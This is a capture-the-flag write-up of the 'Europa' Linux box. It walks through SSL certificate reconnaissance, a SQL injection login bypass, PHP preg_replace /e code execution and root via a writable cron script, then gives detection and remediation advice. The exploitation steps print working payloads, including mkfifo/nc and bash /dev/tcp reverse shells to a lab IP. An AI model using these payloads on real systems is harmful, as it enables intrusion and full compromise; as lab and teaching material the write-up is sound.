Overview
Europa is a medium-rated Linux box running Ubuntu 16.04 with Apache on ports
80 and 443. The SSL certificate on the HTTPS service discloses three hostnames,
including an admin portal at admin-portal.europacorp.htb. The login form is
vulnerable to SQL injection, granting unauthenticated access to the dashboard.
Inside, an OpenVPN configuration generator passes user-controlled input through
PHP’s preg_replace() with the /e modifier: a code execution primitive that
evaluates the replacement string as PHP. From there, a cron job running as root
executes a script in a directory writable by www-data, completing the chain
to full system compromise.
Three distinct lessons here: SSL certificate inspection as a reconnaissance technique, the danger of deprecated PHP features that silently convert string processing into code evaluation, and the recurring theme of root cron jobs calling scripts from user-writable paths.
Reconnaissance
I start with a service scan to map the attack surface:
nmap -sC -sV -oA scans/europa 10.129.12.170
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 | Ubuntu 16.04 banner |
| 80 | HTTP | Apache 2.4.18 (Ubuntu) | Default page |
| 443 | HTTPS | Apache 2.4.18 (Ubuntu) | SSL certificate with SANs |
Three open ports. SSH 7.2p2 maps to Ubuntu 16.04 (Xenial), consistent with the Apache version. Port 80 serves only the default Apache page, so the interesting content is behind TLS on 443.
The SSL certificate is the most valuable artefact from this scan. Inspecting the Subject Alternative Names field reveals three hostnames:
openssl s_client -connect 10.129.12.170:443 2>/dev/null | \
openssl x509 -noout -ext subjectAltName
X509v3 Subject Alternative Name:
DNS:europacorp.htb, DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb
I use openssl rather than relying on nmap’s ssl-cert script because the raw
certificate output gives full control over which extensions to inspect. The
admin-portal subdomain is not something directory brute-forcing or DNS
enumeration would find; it exists only in the certificate’s SAN field. All
three hostnames go into /etc/hosts.
Attack Surface Analysis
Admin portal login form
Browsing to https://admin-portal.europacorp.htb presents a login form with
inputEmail and inputPassword fields. The form action posts to the same
page. No CAPTCHA, no account lockout, no CSRF token. The absence of rate
limiting makes the form a candidate for both brute-force and injection attacks,
though injection is the faster path.
OpenVPN configuration generator
After authentication (covered below), the dashboard contains tools.php: a
form with three fields (pattern, ipaddress, text) that generates OpenVPN
configuration files. The default pattern is /ip_address/, and the backend
substitutes the IP address into a template using preg_replace().
The form design is unusual. Legitimate OpenVPN generators do not expose the
regex pattern to the user; they accept only the IP address and a template
selection. Exposing the pattern argument of preg_replace() is a significant
design flaw because it allows an attacker to control not just the match
expression but also the regex modifiers, including /e.
Vulnerability Analysis
SQL injection on authentication (CWE-89)
The email field on the login form is concatenated directly into a SQL query
without parameterisation. A trivial OR '1'='1 injection bypasses
authentication entirely. The injection is in a WHERE clause that checks both
email and password; because the OR short-circuits the entire predicate, the
password value is irrelevant.
| Attribute | Value |
|---|---|
| CWE | CWE-89 (SQL Injection) |
| Root cause | String concatenation in SQL query; no prepared statements |
| Impact | Authentication bypass; full dashboard access |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
The root cause is elementary: the PHP code interpolates $_POST['email']
directly into the query string. Every modern database library (PDO, MySQLi)
supports parameterised queries that would eliminate this class of vulnerability
entirely. The fact that this application uses raw concatenation suggests it
was written without any security review.
preg_replace /e code execution (CWE-94)
PHP’s preg_replace() with the /e modifier evaluates the replacement string
as PHP code after performing the regex substitution. This feature was
deprecated in PHP 5.5 (2013) and removed in PHP 7.0 (2015). The tools.php
endpoint passes user input to both the pattern and replacement arguments of
preg_replace(), allowing an attacker to append /e to the pattern and place
arbitrary PHP in the replacement.
| Attribute | Value |
|---|---|
| CWE | CWE-94 (Code Injection) |
| Root cause | User-controlled pattern with /e modifier support |
| Impact | Remote code execution as www-data |
| MITRE ATT&CK | T1059.004 (Unix Shell) |
The /e modifier is one of PHP’s most dangerous historical features. It
transforms a string-processing function into an eval() gate. The replacement
string is first subjected to backreference substitution, then the result is
passed to eval(). This means the attacker does not even need to match
anything meaningful; as long as the pattern matches at least once in the input
text, the replacement is evaluated.
The safe alternative, preg_replace_callback(), accepts a callable rather
than a string, eliminating the eval() step entirely. PHP 7.0’s removal of
/e support makes this a non-issue on modern runtimes, but Europa runs
PHP 5.x where the modifier is merely deprecated (still functional, just
triggering an E_DEPRECATED notice that is typically suppressed in production).
Writable cron script (CWE-732)
A root cron job runs /var/www/cronjobs/clearlogs every minute. This PHP
script calls a shell script at /var/www/cmd/logcleared.sh. The directory
/var/www/cmd/ is owned by root:www-data with permissions drwxrwxr-x,
making it group-writable by www-data. Any process running as www-data
(including the Apache worker serving the vulnerable application) can replace
the script contents.
| Attribute | Value |
|---|---|
| CWE | CWE-732 (Incorrect Permission Assignment) |
| Root cause | Root cron job executes script from www-data-writable path |
| Impact | Privilege escalation to root |
| MITRE ATT&CK | T1053.003 (Cron) |
This is a permission inheritance problem. The cron job runs as root, but the
script it calls is modifiable by a less-privileged user. The security boundary
between www-data and root collapses because root delegated execution to a
path that www-data controls. Correct configuration requires the script and
every directory in its path to be owned by root with mode 0755 or stricter.
Exploitation
Step 1: SQL injection authentication bypass
The email field accepts SQL metacharacters without sanitisation:
Email: [email protected]' OR '1'='1
Password: anything
The server returns a 302 redirect to the dashboard, granting authenticated
access. I chose this payload over alternatives like ' OR 1=1-- because the
balanced single quotes avoid syntax errors in cases where the query wraps the
interpolated value in quotes. The trailing '1'='1 closes the string context
cleanly without requiring a comment character, which is more portable across
SQL dialects.
No credentials are required. The injection works because the WHERE clause evaluates to true for every row, and the application takes the first returned record as the authenticated user.
Step 2: Remote code execution via preg_replace /e
From the dashboard, the tools.php page accepts three form fields. I modify
the pattern to include the /e modifier and place a PHP function call in the
replacement field:
pattern: /ip_address/e
ipaddress: system('id')
text: (default OpenVPN template containing "ip_address")
The response includes the output of id:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE confirmed as www-data. The mechanism: preg_replace() finds the string
“ip_address” in the text, then evaluates the replacement system('id') as
PHP. The system() function executes the shell command and returns its stdout,
which gets inserted into the output.
The user flag is readable directly from this execution context:
# Via the preg_replace RCE
system('cat /home/john/user.txt')
# [redacted]
Step 3: Reverse shell
For interactive access, I inject a reverse shell payload through the same vector:
ipaddress: system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.x 4444 >/tmp/f')
nc -lvnp 4444
# Connection from 10.129.12.170
# $ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
I use the mkfifo reverse shell rather than a bash /dev/tcp variant because
the Debian/Ubuntu builds of bash are compiled without /dev/tcp support. The
named pipe approach works with any POSIX shell and only requires nc to be
installed on the target, which it is on Ubuntu 16.04 by default.
Step 4: Privilege escalation via writable cron script
Enumeration reveals the cron job structure:
cat /var/www/cronjobs/clearlogs
# #!/usr/bin/php
# <?php
# // calls logcleared.sh
# ?>
ls -la /var/www/cmd/
# drwxrwxr-x 2 root www-data 4096 ...
The directory is group-writable by www-data. I write a reverse shell payload
to logcleared.sh using file_put_contents() through the existing
preg_replace RCE, rather than writing from the shell. This avoids
quoting issues with nested shell escaping:
ipaddress: file_put_contents('/var/www/cmd/logcleared.sh', '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.x/4445 0>&1')
On the next minute boundary, the root cron job fires:
nc -lvnp 4445
# Connection from 10.129.12.170
# root@europa:~# id
# uid=0(root) gid=0(root) groups=0(root)
# root@europa:~# cat /root/root.txt
# [redacted]
Root obtained. Total time from initial nmap to root shell: approximately 15 minutes. The attack chain is short and each step follows naturally from the previous one.
Post-Exploitation
With root access, I enumerate the system:
uname -a
# Linux europa 4.4.0-81-generic #104-Ubuntu SMP x86_64 GNU/Linux
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
php -v
# PHP 5.6.x (cli)
The system runs Ubuntu 16.04 with kernel 4.4.0-81, both well past end-of-life.
PHP 5.6 reached end-of-life in December 2018, meaning no security patches for
either the runtime or the /e modifier deprecation.
The SQL injection exists because the application uses raw string concatenation in the login query. The relevant PHP code builds the query as direct string interpolation of the POST parameter. No prepared statements, no input validation. The database contains a single admin account with a bcrypt-hashed password.
What a real attacker does next
In a production environment, post-exploitation would include: extracting
database credentials from the application configuration files (typically
stored in a PHP include under /var/www/), checking for credential reuse
across other services, harvesting SSH keys from user home directories, and
establishing persistence through a secondary backdoor. The writable cron path
is already a persistence mechanism; a subtler attacker would append a single
line to logcleared.sh rather than replacing its contents, making the
modification harder to spot in a cursory review.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | WAF rule detecting SQL injection patterns in POST body |
| Execution | T1059.004 | Anomalous child process (/bin/sh) spawned by Apache/PHP |
| Persistence | T1053.003 | File integrity monitoring on cron-executed scripts |
| Privilege escalation | T1053.003 | Root process spawning outbound connection to external IP |
Network-level: A web application firewall inspecting POST bodies would
catch both the SQL injection (single-quote metacharacters in an email field)
and the preg_replace payload (PHP function names like system() in a form
field). The /e modifier appended to a regex pattern is a high-confidence
indicator of exploitation; no legitimate user would submit it.
Host-level: File integrity monitoring (AIDE, OSSEC, or auditd file watches)
on /var/www/cmd/logcleared.sh would detect the payload injection. Process
monitoring would flag /bin/sh or bash spawned as a child of the Apache
worker process. On a properly configured system, auditd rules watching
for execve calls from www-data UID 33 with unexpected binaries would
catch the initial RCE as well.
Log artefacts: Apache access logs record the POST requests to tools.php.
The payload appears in the POST body (not in the URL), so access logs alone
are insufficient; mod_security or a reverse proxy capturing request bodies is
needed. Cron logs in /var/log/syslog show the script running at each minute
boundary, but they do not capture what the script does.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Use prepared statements for all SQL queries | Low | Critical |
| P0 | Remove /e modifier usage; use preg_replace_callback() | Low | Critical |
| P0 | Set cron script directory ownership to root:root 0755 | Low | Critical |
| P1 | Upgrade to PHP 7.0+ (removes /e modifier entirely) | Medium | High |
| P1 | Deploy a WAF with SQL injection and code injection rules | Medium | High |
| P2 | Implement account lockout on the admin login | Low | Medium |
| P2 | Add CSRF tokens to all forms | Low | Medium |
| P2 | Remove the pattern field from the OpenVPN generator UI | Low | Medium |
| P3 | Remove X-Powered-By header | Low | Low |
| P3 | Upgrade Ubuntu 16.04 to a supported LTS release | High | High |
The SQL injection is the most straightforward fix: replace string concatenation
with parameterised queries via PDO or MySQLi. Every modern database abstraction
layer supports this. The preg_replace issue requires a code change to use
preg_replace_callback(), but upgrading to PHP 7.0+ eliminates the /e
modifier entirely, making the code change redundant if the runtime upgrade
happens first. The cron job permission issue requires only a chown and
chmod on the target directory.
The design flaw of exposing the regex pattern to the user deserves separate
attention. Even without the /e modifier, a user-controlled pattern enables
ReDoS (Regular Expression Denial of Service) attacks through catastrophic
backtracking. The pattern field should be removed from the form entirely.
Key Takeaways
-
SSL certificates are a free reconnaissance source. The Subject Alternative Names field disclosed the admin portal hostname. Always inspect TLS certificates on HTTPS services; they frequently contain internal hostnames, development subdomains, and other names not discoverable through DNS brute-forcing alone. Tools like
crt.shextend this to Certificate Transparency logs, revealing certificates issued for subdomains that may no longer resolve in DNS but still exist on the server. -
Deprecated language features create persistent risk. The
preg_replace/emodifier was deprecated in PHP 5.5 (2013) and removed in PHP 7.0 (2015). Applications that depend on older runtimes inherit every deprecated feature’s risk profile. The fix is not just patching the application code; it is maintaining the runtime on a supported version. This pattern repeats across languages: Python 2’sinput()(evaluates arbitrary expressions), Ruby’sKernel#open(executes shell commands via pipe prefix), and Java’sRuntime.exec()with unsanitised arguments. -
Root cron jobs and writable script paths are a textbook privilege escalation pattern. If root runs a script, the script and every directory in its path must be owned by root with restrictive permissions. This is one of the most common privilege escalation findings in real penetration tests, not just CTF boxes. Automated hardening tools like Lynis and CIS benchmarks check for this, but only if they are actually run and their output is acted upon.